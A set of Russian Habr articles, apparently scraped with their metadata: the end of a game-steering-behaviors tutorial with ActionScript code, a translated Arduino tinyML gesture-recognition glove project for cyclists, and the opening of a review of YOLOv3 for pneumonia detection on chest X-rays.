steering.incrementBy(doSeek(target, slowingRadius));
}
// Сама реализация Seek (с добавленным кодом Arrival)
private function doSeek(target :Vector3D, slowingRadius :Number = 0) :Vector3D {
var force :Vector3D;
var distance :Number;
desired = target.subtract(host.getPosition());
distance = desired.length;
desired.normalize();
if (distance <= slowingRadius) {
desired.scaleBy(host.getMaxVelocity() * distance/slowingRadius);
} else {
desired.scaleBy(host.getMaxVelocity());
}
force = desired.subtract(host.getVelocity());
return force;
}
```
Все другие методы поведения реализуются очень похожим образом. Например, метод `pursuit()` будет выглядеть так:
```
public function pursuit(target :IBoid) :void {
steering.incrementBy(doPursuit(target));
}
private function doPursuit(target :IBoid) :Vector3D {
distance = target.getPosition().subtract(host.getPosition());
var updatesNeeded :Number = distance.length / host.getMaxVelocity();
var tv :Vector3D = target.getVelocity().clone();
tv.scaleBy(updatesNeeded);
targetFuturePosition = target.getPosition().clone().add(tv);
return doSeek(targetFuturePosition);
}
```
Мы можем использовать код из предыдущих частей туториала. Единственное, что нужно сделать — адаптировать его в виде `behavior()` и `doBehavior()`, чтобы его можно было прибавлять к менеджеру движения.
---
Приложение и обновление управляющих сил
---------------------------------------
При каждом вызове метода поведения вычисляемая им результирующая сила прибавляется к свойству `steering` менеджера. Следовательно, в этом свойстве аккумулируются все управляющие силы.
После вызова всех поведений менеджер должен применить текущую управляющую силу к скорости хоста, чтобы он двигался в соответствии с активными поведениями. Это выполняется в методе `update()` менеджера движений:
```
public function update():void {
var velocity :Vector3D = host.getVelocity();
var position :Vector3D = host.getPosition();
truncate(steering, MAX_FORCE);
steering.scaleBy(1 / host.getMass());
velocity.incrementBy(steering);
truncate(velocity, host.getMaxVelocity());
position.incrementBy(velocity);
}
```
Показанный выше метод должен вызываться хостом (или любой другой сущностью игры) после вызова всех поведений. В противном случае хост никогда не сможет изменить свой вектор скорости так, чтобы он соответствовал активным поведениям.
---
Применение
----------
Допустим, у нас есть класс `Prey`, который должен двигаться с использованием steering behavior, но пока у него нет ни кода управления, ни менеджера движений. Его структура будет выглядеть так:
```
public class Prey
{
public var position :Vector3D;
public var velocity :Vector3D;
public var mass :Number;
public function Prey(posX :Number, posY :Number, totalMass :Number) {
position = new Vector3D(posX, posY);
velocity = new Vector3D(-1, -2);
mass = totalMass;
x = position.x;
y = position.y;
}
public function update():void {
velocity.normalize();
velocity.scaleBy(MAX_VELOCITY);
velocity.scaleBy(1 / mass);
truncate(velocity, MAX_VELOCITY);
position = position.add(velocity);
x = position.x;
y = position.y;
}
}
```
При такой структуре экземпляры класса могут двигаться с помощью [метода Эйлера](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0). Чтобы мы могли использовать менеджер, классу нужно свойство, ссылающееся на менеджер движений, а также он должен применять интерфейс `IBoid`:
```
public class Prey implements IBoid
{
public var position :Vector3D;
public var velocity :Vector3D;
public var mass :Number;
public var steering :SteeringManager;
public function Prey(posX :Number, posY :Number, totalMass :Number) {
position = new Vector3D(posX, posY);
velocity = new Vector3D(-1, -2);
mass = totalMass;
steering = new SteeringManager(this);
x = position.x;
y = position.y;
}
public function update():void {
velocity.normalize();
velocity.scaleBy(MAX_VELOCITY);
velocity.scaleBy(1 / mass);
truncate(velocity, MAX_VELOCITY);
position = position.add(velocity);
x = position.x;
y = position.y;
}
// Ниже идут методы, требуемые интерфейсу IBoid.
public function getVelocity() :Vector3D {
return velocity;
}
public function getMaxVelocity() :Number {
return 3;
}
public function getPosition() :Vector3D {
return position;
}
public function getMass() :Number {
return mass;
}
}
```
Метод `update()` нужно изменить соответствующим образом, чтобы менеджер тоже мог обновляться:
```
public function update():void {
// Делаем так, чтобы prey блуждала по окружению...
steering.wander();
// Обновляем менеджер, чтобы он мог изменять вектор скорости prey.
// Также менеджер будет выполнять интегрирование Эйлера, изменяя
// вектор "позиции".
steering.update();
// После обновления менеджером своих внутренних структур, нам достаточно
// обновить нашу позицию в соответствии с вектором "позиции".
x = position.x;
y = position.y;
}
```
Все поведения можно использовать одновременно, поскольку вызовы всех методов выполняются до вызова `update()` менеджера, который прилагает всю аккумулированную управляющую силу к вектору скорости хоста.
В коде ниже показана другая версия метода `update()` Prey, но на этот раз она будет стремиться (seek) к точке на карте и избегать (evade) другого персонажа (и всё это одновременно):
```
public function update():void {
var destination :Vector3D = getDestination(); // место, к которому стремимся
var hunter :IBoid = getHunter(); // получаем сущность, которая на нас охотится
// Стремимся к цели и избегаем охотника (одновременно!)
steering.seek(destination);
steering.evade(hunter);
// Обновляем менеджер, чтобы он изменил вектор скорости prey.
// Менеджер также выполняет интегрирование Эйлера, меняя
// вектор "позиции".
steering.update();
// После обновления менеджером своих внутренних структур, нам нужно только
// обновить нашу позицию согласно вектору "позиции".
x = position.x;
y = position.y;
}
```
---
Пример
------
В показанном ниже примере представлено сложный паттерн движения, в котором сочетается несколько поведений. В сцене есть два типа персонажей: **Hunter** (охотник) и **Prey** (жертва).
Охотник будет *преследовать* жертву, если подберётся достаточно близко. Он преследует её, пока у него остаётся энергия (stamina). Когда энергия заканчивается, преследование прекращается и охотник начинает *блуждать*, пока не восстановит уровень энергии.
Вот метод `update()` класса Hunter:
```
public function update():void {
if (resting && stamina++ >= MAX_STAMINA) {
resting = false;
}
if (prey != null && !resting) {
steering.pursuit(prey);
stamina -= 2;
if (stamina <= 0) {
prey = null;
resting = true;
}
} else {
steering.wander();
prey = getClosestPrey(position);
}
steering.update();
x = position.x;
y = position.y;
}
```
Жертва будет неограниченно *блуждать*. Если охотник подберётся слишком близко, то она будет *избегать* его. Если курсор мыши близко и рядом нет охотника, жертва будет *стремиться* к курсору.
Вот как выглядит метод `update()` Prey:
```
public function update():void {
var distance :Number = Vector3D.distance(position, Game.mouse);
hunter = getHunterWithinRange(position);
if (hunter != null) {
steering.evade(hunter);
}
if (distance <= 300 && hunter == null) {
steering.seek(Game.mouse, 30);
} else if(hunter == null){
steering.wander();
}
steering.update();
x = position.x;
y = position.y;
}
```
---
Заключение
----------
Менеджер движений очень полезен для одновременного управления несколькими steering behaviors. Сочетание таких поведений может создавать очень сложные паттерны движения, позволяющие игровой сущности стремиться к одному объекту и одновременно избегать другого.
Надеюсь, вам понравилась реализованная в этой части система менеджера и вы будете использовать её в своих играх.
Вторая часть статьи [здесь](https://habr.com/post/358460/). | https://habr.com/ru/post/358366/ | null | ru | null |
# Умная перчатка для велосипедистов
*Перевод с сайта instructables.com, автор проекта: [Matlek](https://www.instructables.com/member/Matlek/)*
В данной статье я подробно расскажу процесс изготовления «умной перчатки» и её светодиодной панели, предназначенных для повышения безопасности велосипедистов и других людей, путешествующих по дорогам. Сначала можно посмотреть небольшую демонстрацию работы:
### Как это работает
В перчатке находится плата Arduino, собирающая данные с гироскопа и акселерометра. Код использует модель «крохотного машинного обучения» tinyML и распознаёт жесты: каждое движение руки анализируется и превращается в сигнал (рука наклоняется влево, вправо, вперёд, назад, и т.п.). Сигнал отправляется по Bluetooth (BLE) на другой микроконтроллер, к которому подсоединена светодиодная матрица (которую, например, можно закрепить на рюкзак). Сообразно полученному сигналу матрица выводит определённые последовательности символов – так, чтобы другие водители и велосипедисты могли понимать, что собирается сделать велосипедист (к примеру, это могут быть стрелки влево, вправо, или текст).
### Происхождение проекта
Во-первых, я езжу на велосипеде на работу, и провожу в седле более часа в день (проезжая порядка 22 км). Это всегда интересно, однако я живу в одном из самых густонаселённых городов Франции, где часто происходят происшествия с участием автомобилей и велосипедистов. Также Марсель – худший во Франции город для велосипедистов — там отчаянно [не хватает велодорожек](https://www.fub.fr/sites/fub/files/fub/Communiques/dossier_de_presse_barometre_bd_11-02-2020.pdf). Поэтому данный проект посвящён как увеличению безопасности велосипедистов, так и попыткам обратить внимание городских властей на эту проблему.
Во-вторых, этот проект поможет всем участникам движения пообщаться и лучше понимать друг друга. С моей точки зрения большая часть неприятностей, происходящих на дороге, связана с тем, что некоторые участники движения неправильно поняли других, что в результате привело к испугу, а потом к агрессии. Мне хочется, чтобы такое устройство помогло участникам движения лучше понимать друг друга. Стрелки показывают направление, а ещё можно выводить текст по буквам (однако я целиком и полностью выступаю за вежливые и конструктивные надписи, во избежание конфликтов).
### Почему «умная перчатка»?
Я начал работу над проектом зимой, и холодная погода мотивировала меня на то, чтобы закрепить устройство на перчатке. Но я быстро понял, что идея была не очень хорошей, потому что в нашей местности летом довольно жарко. Поэтому я решил, что лучше всего будет поместить устройство в коробку и закрепить на руке. Но поскольку я не знал, как назвать его по-другому, я решил оставить слово «перчатка» в названии.
«Умная» происходит от техники машинного обучения, которую я использовал в данном проекте.
### Вдохновение
Проект в основном является смесью двух других проектов. Я не начинал работу с нуля, а пользовался их наработками, которые потом развивал далее. Вот, чем я вдохновлялся при разработке:
* [распознавание жестов](https://blog.arduino.cc/2019/10/15/get-started-with-machine-learning-on-arduino/) при помощи Arduino Nano 33 BLE SENSE.
* не какой-то конкретный проект, а концепция использования светодиодных матриц для велосипедистов. Таких проектов полно – некоторые используют рюкзаки с интегрированными панелями, другие просто предлагают готовую матрицу, которую можно поместить куда угодно. В любом случае, эти светодиодные матрицы управляются при помощи пульта дистанционного управления, а не распознавания жестов.
### Комплектующие
Для 3D-печати – 3D-принтер или доступ к таковому.
#### Электроника
* Arduino Nano 33 BLE SENSE;
* Ещё один МИ с BLE (Arduino Nano 33 BLE, Arduino 33 BLE SENSE, Arduino nano 33 IOT, ESP32, и т.д.). Я решил использовать плату на ESP32.
* Светодиодная полоска (WS2812B). Я использовал 160 светодиодов, чтобы получить матрицу 20×8;
* Четырёхуровневый буфер с 3 В до 5 В: 74AHCT125.
* Конденсатор на 1000 мкФ.
* Переключатели SPST, 3 шт.
* Макетная плата.
* Провода.
* Батарейка 9 В.
* Внешний аккумулятор.
#### Другое
* Винты и гайки М3.
* Застёжка-липучка.
Шаг 1: подготовка (МИ, код)
---------------------------
Прочитав [статью](https://blog.arduino.cc/2019/10/15/get-started-with-machine-learning-on-arduino/) про Arduino и машинное обучение, я решил тоже попробовать. Поскольку в последнее время появилось несколько новых плат Arduino Nano, я сделал сравнительную табличку, чтобы сделать наилучший выбор перед покупкой.
Все платы интересные, однако для распознавания жестов я мог использовать только одну — Arduino Nano 33 BLE SENSE. Лишь у неё есть нужные датчики и поддержка Tensorflow Lite. Ещё один интересный момент – на платах Arduino Nano 33 IOT, BLE и BLE SENSE есть собственный Bluetooth, поэтому любую из них можно использовать на светодиодной матрице для приёма BLE сигналов.
Загруженный в плату код основан на множестве различных программ для Arduino, найденных мною при разработке. Поэтому перед началом работы я решил проверить их с найденными мною примерами.
### Поиграемся с BLE
В данном проекте связь по Bluetooth имеет решающее значение, поскольку именно так сигнал отправляется с датчиков на светодиодную матрицу. До этого я никогда не связывал две платы Arduino по BLE. Поэтому я практиковался со следующими примерами из [библиотеки ArduinoBLE](https://www.arduino.cc/en/Reference/ArduinoBLE):
* Скетч LedControl, используемый с платой Arduino Nano 33 BLE Sense и кнопкой с притягивающим резистором, подсоединённым к контакту 2. Пример опрашивает BLE-периферию, пока не найдёт сервис с UUID 19b10000-e8f2-537e-4f6c-d104768a1214. После его обнаружения и установления соединения он будет удалённо управлять периферийным светодиодом BLE по нажатию кнопки.
* Скетч для светодиода и Arduino Nano 33 IoT.
К сожалению, со скетчем для светодиода у меня возникло множество проблем – 3 платы «сломались» при его загрузке. Понятия не имею, в чём там была проблема, но я решил заменить плату Arduino на другой МИ с BLE – плату ESP32. С новой платой я использовал следующее:
* Скетч BLE\_write из библиотеки BLE ESP32 ARDUINO. Я добавил несколько изменений, чтобы она работала с платой Arduino Nano 33 BLE SENSE. На шаге 10 вы сможете сравнить скетч BLE\_write и скетч Smartglove\_BLE\_LED-matrix, который я написал и загрузил.
### Поиграемся со встроенными RGB светодиодами
Вы знали, что у платы Arduino Nano 33 BLE SENSE есть встроенные RGB светодиоды? В данном проекте они пригодятся для проверки правильной работы распознавания жестов. Мы должны проверять, что сигнал был отправлен на светодиодную матрицу – однако поскольку панель, скорее всего, находится на спине велосипедиста, ему будет трудно понять, что распознавание жестов сработало и сигнал был отправлен.
Тут не было ничего сложного, я просто немного подправил [пример Blink](https://www.arduino.cc/en/Tutorial/Blink). Из кода видно, что красный светодиод находится на контакте 22, зелёный – на контакте 23, синий – на контакте 24. Входной сигнал LOW включает светодиод, HIGH – выключает.
```
const int LED_BUILTIN_RED = 22;
const int LED_BUILTIN_GREEN = 23;
const int LED_BUILTIN_BLUE = 24;
// функция setup запускается один раз после включения или перезагрузки платы
void setup() {
// initialize digital pin LED_BUILTIN as an output.
pinMode(LED_BUILTIN_RED, OUTPUT);
pinMode(LED_BUILTIN_GREEN, OUTPUT);
pinMode(LED_BUILTIN_BLUE, OUTPUT);
}
// функция loop повторяется вечно
void loop() {
digitalWrite(LED_BUILTIN_RED, LOW); // включить LED (HIGH – уровень напряжения)
delay(1000); // подождать секунду
digitalWrite(LED_BUILTIN_RED, HIGH); // выключить LED, понизив напряжение до LOW
delay(1000); // подождать секунду
digitalWrite(LED_BUILTIN_GREEN, LOW); // включить LED (HIGH – уровень напряжения)
delay(1000); // подождать секунду
digitalWrite(LED_BUILTIN_GREEN, HIGH); // выключить LED, понизив напряжение до LOW
delay(1000); // подождать секунду
digitalWrite(LED_BUILTIN_BLUE, LOW); // включить LED (HIGH – уровень напряжения)
delay(1000); // подождать секунду
digitalWrite(LED_BUILTIN_BLUE, HIGH); // выключить LED, понизив напряжение до LOW
delay(1000); // подождать секунду
}
```
### Поиграемся с распознаванием жестов и tinyML
Наконец, я изучил руководство по использованию машинного обучения на Arduino, и попрактиковался с примером распознавания жестов. Пример делится на три основные части:
* Распознавание данных с программой [IMU\_Capture](https://github.com/arduino/ArduinoTensorFlowLiteTutorials/blob/master/GestureToEmoji/ArduinoSketches/IMU_Capture/IMU_Capture.ino) (и Arduino Nano 33 BLE sense);
* Обучение модели на записанных данных на [google colab](https://colab.research.google.com/github/arduino/ArduinoTensorFlowLiteTutorials/blob/master/GestureToEmoji/arduino_tinyml_workshop.ipynb) (на компьютере);
* Использование обученной модели на Arduino с [IMU\_Classifier](https://github.com/arduino/ArduinoTensorFlowLiteTutorials/tree/master/GestureToEmoji/ArduinoSketches/IMU_Classifier) для распознавания образов (опять на плате Arduino).
Шаг 2: перчатка 1/6 (электроника)
---------------------------------
С шагов 2 по 7 я привожу одну и ту же схему, обозначая на ней шаги с тем, чтобы вам проще было понять процесс изготовления перчатки.
Схема электроники для перчатки очень простая:
* Плата Arduino.
* Батарейка на 9 В (я использую аккумулятор).
* Переключатель SPST.
Шаг 3: перчатка 2/6 – корпус
----------------------------
Корпус простой, и состоит всего из двух частей, распечатанных на 3D-принтере:
* В жёлтой части находится плата Arduino, аккумулятор и переключатель. Отверстия в корпусе позволяют перезаряжать батарею и перепрограммировать плату Arduino без необходимости разбирать корпус.
* Чёрная часть – это крышка, защищающая аккумулятор и плату.
На руку я креплю её полоской липучки.
Также я нарисовал логотип, который потом приклеил на крышку. Он обозначает велосипедиста, на которого смотрят сверху, и в нём есть три стрелочки – прямо, налево и направо. Четвёртая стрелочка отстоит от трёх остальных, потому что велосипеды не ездят назад.
### Файлы
[content.instructables.com/ORIG/FS2/L3M3/K9N93ZYW/FS2L3M3K9N93ZYW.stl](https://content.instructables.com/ORIG/FS2/L3M3/K9N93ZYW/FS2L3M3K9N93ZYW.stl)
[content.instructables.com/ORIG/F72/21NG/K9N93ZZG/F7221NGK9N93ZZG.stl](https://content.instructables.com/ORIG/F72/21NG/K9N93ZZG/F7221NGK9N93ZZG.stl)
[content.instructables.com/ORIG/FD3/NVS8/K9N93ZZI/FD3NVS8K9N93ZZI.stl](https://content.instructables.com/ORIG/FD3/NVS8/K9N93ZZI/FD3NVS8K9N93ZZI.stl)
Шаг 4: перчатка 3/6: запись данных
----------------------------------
После сборки устройства приходит время записи данных. Цель – записать каждый жест многократно. Я установил порог для гироскопа, и когда он выходит за это значение, Arduino начинает выводить записанные данные на монитор.
Я записал следующие жесты:
* Рука указывает влево (стандартный жест велосипедистов, обозначающий поворот налево).
* Торможение (жест пальцами, тянущимися к рычагу тормоза).
* Рука наклоняется назад.
* Рука наклоняется вперёд.
* Рука наклоняется влево.
* Рука наклоняется вправо.
Естественно, вы можете записывать свои жесты.
Для записи данных я написал программку, переключающую на светодиоде цвета после каждых 20 движений. Это помогало мне понимать, когда нужно переходить к другому жесту. Я подсоединил Arduino к компьютеру, открыл программу для отслеживания порта и положил ноутбук в рюкзак.
Записав все жесты, я перешёл к последнему этапу – скопировал данные, выведенные в программу, и сохранил их в формате csv.
[content.instructables.com/ORIG/FC7/B0JT/K9UEA78V/FC7B0JTK9UEA78V.ino](https://content.instructables.com/ORIG/FC7/B0JT/K9UEA78V/FC7B0JTK9UEA78V.ino)
Шаг 5: перчатка 4/6: обучение
-----------------------------
Для обучения я использовал [следующий пример](https://colab.research.google.com/github/arduino/ArduinoTensorFlowLiteTutorials/blob/master/GestureToEmoji/arduino_tinyml_workshop.ipynb), исправив в нём всего несколько строк. Перед обучением стоит проверить, что для каждого жеста у вас есть свой csv-файл, и данные в каждом файле относятся именно к этому жесту.
На сайте Google Colab по ссылке в разделе «Upload data» загрузите свои данные.
В разделе «Graph Data (optional)» добавьте имя одного из файлов.
filename = «Arm\_left.csv»
Затем исправьте эту строчку, чтобы выводить только данные с гироскопа:
```
#index = range(1, len(df['aX']) + 1)
index = range(1, len(df['gX']) + 1)
```
Закомментируйте следующие строки – данные акселерометра мы не используем:
```
#plt.plot(index, df['aX'], 'g.', label='x', linestyle='solid', marker=',')
#plt.plot(index, df['aY'], 'b.', label='y', linestyle='solid', marker=',')
#plt.plot(index, df['aZ'], 'r.', label='z', linestyle='solid', marker=',')
#plt.title("Acceleration")
#plt.xlabel("Sample #")
#plt.ylabel("Acceleration (G)")
#plt.legend()
#plt.show()
```
В разделе «Parse and prepare the data» добавьте все названия файлов:
```
#GESTURES = ["punch", "flex",]
GESTURES = ["Arm_left", "Brake", "Hand_back-tilt", "Hand_front-tilt", "Hand_left-tilt", "Hand_right-tilt"]
```
Измените количество образцов на один жест, если меняли их в коде для Arduino:
```
#SAMPLES_PER_GESTURE = 119
SAMPLES_PER_GESTURE = 64
```
Осталось только закомментировать ускорение:
```
# normalize the input data, between 0 to 1:
# - acceleration is between: -4 to +4
# - gyroscope is between: -2000 to +2000
tensor += [
#(df['aX'][index] + 4) / 8,
#(df['aY'][index] + 4) / 8,
#(df['aZ'][index] + 4) / 8,
(df['gX'][index] + 2000) / 4000,
(df['gY'][index] + 2000) / 4000,
(df['gZ'][index] + 2000) / 4000
]
```
После прохода всей программы вы сможете скачать обученную модель.
### Файлы
[content.instructables.com/ORIG/F7A/GLEK/K9UEA8Z5/F7AGLEKK9UEA8Z5.csv](https://content.instructables.com/ORIG/F7A/GLEK/K9UEA8Z5/F7AGLEKK9UEA8Z5.csv)
[content.instructables.com/ORIG/FV1/853G/K9UEA8Z6/FV1853GK9UEA8Z6.csv](https://content.instructables.com/ORIG/FV1/853G/K9UEA8Z6/FV1853GK9UEA8Z6.csv)
[content.instructables.com/ORIG/FQH/OAZD/K9UEA8Z7/FQHOAZDK9UEA8Z7.csv](https://content.instructables.com/ORIG/FQH/OAZD/K9UEA8Z7/FQHOAZDK9UEA8Z7.csv)
[content.instructables.com/ORIG/F7N/P7AG/K9UEA8Z9/F7NP7AGK9UEA8Z9.csv](https://content.instructables.com/ORIG/F7N/P7AG/K9UEA8Z9/F7NP7AGK9UEA8Z9.csv)
[content.instructables.com/ORIG/FD4/WZRM/K9UEA8ZA/FD4WZRMK9UEA8ZA.csv](https://content.instructables.com/ORIG/FD4/WZRM/K9UEA8ZA/FD4WZRMK9UEA8ZA.csv)
[content.instructables.com/ORIG/F6W/7SO2/K9UEA8ZB/F6W7SO2K9UEA8ZB.csv](https://content.instructables.com/ORIG/F6W/7SO2/K9UEA8ZB/F6W7SO2K9UEA8ZB.csv)
Шаг 6: перчатка 5/6: код для Arduino
Итоговый мой код для умной перчатки – это смесь следующих программ:
* пример «LED» из библиотеки «ArduinoBLE» (Peripheral>LED).
* «IMU\_Classifier» [отсюда](https://github.com/arduino/ArduinoTensorFlowLiteTutorials/blob/master/GestureToEmoji/ArduinoSketches/IMU_Classifier/IMU_Classifier.ino).
Подробно тут я распространяться о них не буду, просто рекомендую прочитать оригинальные программы, чтобы лучше понимать происходящее.
Добавьте свою модель в код, и её можно будет испытывать!
### Файлы
[content.instructables.com/ORIG/F9N/4SBK/K9UEA98M/F9N4SBKK9UEA98M.h](https://content.instructables.com/ORIG/F9N/4SBK/K9UEA98M/F9N4SBKK9UEA98M.h)
[content.instructables.com/ORIG/FKZ/ODO9/KB52VXZK/FKZODO9KB52VXZK.ino](https://content.instructables.com/ORIG/FKZ/ODO9/KB52VXZK/FKZODO9KB52VXZK.ino)
Шаг 7: перчатка 6/6: испытания
------------------------------
Как видно из видеоролика, светодиод загорается по-разному в зависимости от распознанного жеста:
Шаг 8: светодиодная матрица 1/4: электроника
--------------------------------------------
Как я уже упоминал, при закачке скетча из библиотеки ArduinoBLE для светодиода на Arduino Nano 33 BLE SENSE я столкнулся с некоторыми проблемами. Поэтому я решил вместо этой платы использовать ESP32. Поэтому на приведённых фотографиях вы можете увидеть обе платы.
Поскольку обе платы, Arduino Nano 33 BLE SENSE и ESP32, работают с логикой на 3,3 В, я добавил четырёхуровневый буфер с 3 В до 5 В (74AHCT125), как рекомендуется в [инструкции от Adafruit](https://learn.adafruit.com/adafruit-neopixel-uberguide/powering-neopixels).
Также я добавил конденсатор на 100 мкФ для защиты светодиода от резких перепадов напряжения.
Всю схему я собрал на макетной плате.
Видно, что я задействовал оба разъёма внешнего источника питания, поскольку испугался, что светодиодной матрице потребуется слишком большой ток. Поэтому матрица и МИ питаются от разных разъёмов внешнего источника питания.
Шаг 9: светодиодная матрица 2/4: корпус
---------------------------------------
Мне нужен был сборный корпус для светодиодной матрицы. Поэтому он состоит из нескольких частей (а ещё потому, что мой 3D-принтер очень крохотный), и я предусмотрел в них отверстия для болтов.
Для подсоединения панели я снова воспользовался липучкой.
### Файлы
[content.instructables.com/ORIG/FH6/TB4H/K9N93ZZJ/FH6TB4HK9N93ZZJ.stl](https://content.instructables.com/ORIG/FH6/TB4H/K9N93ZZJ/FH6TB4HK9N93ZZJ.stl)
[content.instructables.com/ORIG/FK3/BZPC/K9N93ZZK/FK3BZPCK9N93ZZK.stl](https://content.instructables.com/ORIG/FK3/BZPC/K9N93ZZK/FK3BZPCK9N93ZZK.stl)
[content.instructables.com/ORIG/FMU/ZRTY/K9N93ZZL/FMUZRTYK9N93ZZL.stl](https://content.instructables.com/ORIG/FMU/ZRTY/K9N93ZZL/FMUZRTYK9N93ZZL.stl)
[content.instructables.com/ORIG/F38/BF1P/K9N93ZZM/F38BF1PK9N93ZZM.stl](https://content.instructables.com/ORIG/F38/BF1P/K9N93ZZM/F38BF1PK9N93ZZM.stl)
[content.instructables.com/ORIG/FJC/DQMY/K9N93ZZN/FJCDQMYK9N93ZZN.stl](https://content.instructables.com/ORIG/FJC/DQMY/K9N93ZZN/FJCDQMYK9N93ZZN.stl)
[content.instructables.com/ORIG/F43/ELQV/K9N93ZZQ/F43ELQVK9N93ZZQ.stl](https://content.instructables.com/ORIG/F43/ELQV/K9N93ZZQ/F43ELQVK9N93ZZQ.stl)
[content.instructables.com/ORIG/FJE/C5FG/K9N93ZZR/FJEC5FGK9N93ZZR.stl](https://content.instructables.com/ORIG/FJE/C5FG/K9N93ZZR/FJEC5FGK9N93ZZR.stl)
[content.instructables.com/ORIG/F55/1X43/K9N93ZZS/F551X43K9N93ZZS.stl](https://content.instructables.com/ORIG/F55/1X43/K9N93ZZS/F551X43K9N93ZZS.stl)
Шаг 10: светодиодная матрица 3/4: код для Arduino
-------------------------------------------------
Итоговый код – смесь следующих кодов (и их модификация):
* Пример BLE\_Write из библиотеки BLE ESP32 ARDUINO.
* Пример MatrixGFXDemo64 из библиотеки FastLED NeoMatrix.
Подробно тут я распространяться о них не буду, просто рекомендую прочитать оригинальные программы, чтобы лучше понимать происходящее.
[content.instructables.com/ORIG/FIR/RETZ/KB52VXP4/FIRRETZKB52VXP4.ino](https://content.instructables.com/ORIG/FIR/RETZ/KB52VXP4/FIRRETZKB52VXP4.ino)
Шаг 11: светодиодная матрица 4/4: испытания
-------------------------------------------
Настало время всё проверить! После распознавания каждого жеста на светодиодную матрицу отправляется сигнал, и она показывает определённый узор. Видно, что на перчатке светодиоды зажигаются соответственно распознанному жесту.
Шаг 12: итоговые испытания и заключение
---------------------------------------
Вот как это выглядит вживую:
Я очень доволен получившимся устройством. Благодаря проекту я гораздо увереннее чувствую себя с tinyML и BLE. С тех пор я купил ещё Arduino Nano 33 IOT, и сейчас занимаюсь весьма интересным проектом, о котором напишу позже. Что бы я изменил во второй версии описанного мною устройства:
* Крышка для «перчатки». Сейчас она держится на корпусе только за счёт того, что туго надевается. Однако как-то во время поездки я задел что-то рукой, крышка соскочила и разбилась. В следующей версии прикручу её винтами.
* Корпус для светодиодной матрицы. Я почти сразу понял, что в моём корпусе отсутствует быстрый доступ к USB МИ. А мне хотелось бы иметь доступ, чтобы отлаживать код или менять его. Также без раскручивания корпуса нельзя зарядить внешний источник питания.
* Больше данных для обучения. Иногда некоторые из жестов не распознаются, а иногда распознаются ошибочно. Думаю, не хватает данных (всего 20 движений для каждого жеста). Больше движений – лучше модель, меньше ошибок.
На завершение проекта и написание этого текста у меня ушло несколько месяцев. Если что-то неясно, или какого-то файла не хватает, пишите в [комментариях к оригинальной статье](https://www.instructables.com/id/Smartglove-for-Cyclists/).
> См. также:
>
>
>
> * «[Как ворваться в велосезон во всеоружии — в спортивной и городской комплектации](https://habr.com/ru/article/457126/)»
> * «[Биометрические перчатки в автоспорте](https://habr.com/ru/post/435500/)»
> * «[Умная одежда: устройство модуляции температуры на основе графена](https://habr.com/ru/company/ua-hosting/blog/507458/)»
> | https://habr.com/ru/post/510758/ | null | ru | null |
# Анализ результатов работы архитектуры YoloV3 на медицинских снимках
Данная статья представляет собой обзор на [оригинальную статью на Medium](https://medium.com/analytics-vidhya/replacing-yolov3-backbone-with-chexnet-for-pneumonia-detection-a29434a698b7) (эксперименты проводятся с изменениями некоторых условий).
Область применения нейронных сетей в медицине бурно развивается. В этой области решаются задачи, которые облегчают работу врачей. В частности, одной из востребованных задач в этой области является детекция объектов на медицинских снимках (это когда на картинку накладывается прямоугольник, который ограничивает область, в которой предположительно есть некоторый объект). Пример такого изображения представлен ниже.
https://github.com/ultralytics/yolov3https://github.com/ultralytics/yolov3
Можно заметить, что прямоугольники подписаны какими-то словами и числами. На картинке это person и tie. Рядом с этими словами написаны числа (у человека слева это person с 0.59, tie - 0.62). Эти слова образуют виды объектов (например, машина, человек, кот, мяч и т.д.), которые нужно распознать, а числа, записанные рядом с этими словами, есть вероятность того, что данный объект принадлежит этому классу. (Опять же у человека справа, стоит "person 0.59". Это значит, что в выделенном прямоугольнике есть объект класса person - человек - с вероятностью 0.59). И да, число - вероятность объекта в данном прямоугольника, принимает значения от 0 до 1.
### Задача
Как уже говорилось, в медицине есть задача по распознаванию объектов, которые могут сигнализировать о наличии патологии и пациента. В данной статье, предлагается решить задачу по распознаванию очагов, сигнализирующих пневмонию у пациента.
**Пневмония** является одной из распространенных болезней, которое представляет собой воспалительное заболевание легких. [По официальным данным](https://www.bbc.com/russian/news-55239393), именно она является одной из опасных инфекционных заболеваний за последние 20 лет. В 2019-м эти болезни оказались четвертой причиной смертности в мире (от них скончались 2,6 млн человек). Обычно пневмония проявляется в виде областей повышенной непрозрачности на снимках рентгенограммы. Однако диагностика рентгенограмм затруднена из-за ряда причин, связанных с состоянием легких. И иногда даже опытному специалисту бывает сложно поставить диагноз.
Поэтому на помощь врачам приходят методы машинного обучения, которые помогают выявить сложные зависимости между признаками в данных и выдать некоторый результат, который может стать решающим при постановке диагноза пациенту.
В связи с этим, возникает потребность в написании нейронных сетей, которые основаны на совершенно новой архитектуре (то есть придумать что-то новое) или которые основаны на уже существующей архитектуры путем проведения экспериментов, которые помогают выявлять достоинства и недостатки архитектуры (то есть сделать модификацию существующей).
Решать эту задачу мы будем с использованием нейронной сети.
### Модель
В качестве такой сети возьмем архитектуру YOLOv3. Почему именно она? Да, просто захотели =) Более подробно про эту архитектуру можно почитать [на официальном сайте](https://pjreddie.com/darknet/yolo/) и [Хабре](https://habr.com/ru/post/556404/).
YOLOv3 представляет собой нейронную сеть, основанную на архитектуре YOLO (You Only Look Once). Она примечательна тем, что CNN (Convolutional Neural Network) применяется один раз ко всему изображению сразу (отсюда и название). YOLOv3 состоит из 106-ти свёрточных слоев. Стоит отметить, что у YOLOv3 есть несколько слоев (их 3), которые предназначены для детекции объектов разного размера. На картинке ниже представлена архитектура YOLOv3:
https://www.researchgate.net/figure/The-framework-of-YOLOv3-neural-network-for-ship-detection\_fig2\_335228064https://www.researchgate.net/figure/The-framework-of-YOLOv3-neural-network-for-ship-detection\_fig2\_335228064
При использовании YOLO изображение делится на сетку с ячейками размером 13 х 13. Для чего нужны эти ячейки? Дело в том, что каждая такая ячейка прогнозирует количество bounding box'ов (или ограничивающих прямоугольников) и вероятность того, что в данной области находится некоторый объект. Эта вероятность (точнее, число) называется confidence value (доверительное значение). И получается, что если в некоторой области объекта нет, то его доверительное значение маленькое (точнее, этого мы хотим достичь). Ниже представлена схема работы YOLOv3.
https://medium.com/nerd-for-tech/a-real-time-object-detection-model-using-yolov3-algorithm-for-non-gpu-computers-8941a20b445https://medium.com/nerd-for-tech/a-real-time-object-detection-model-using-yolov3-algorithm-for-non-gpu-computers-8941a20b445
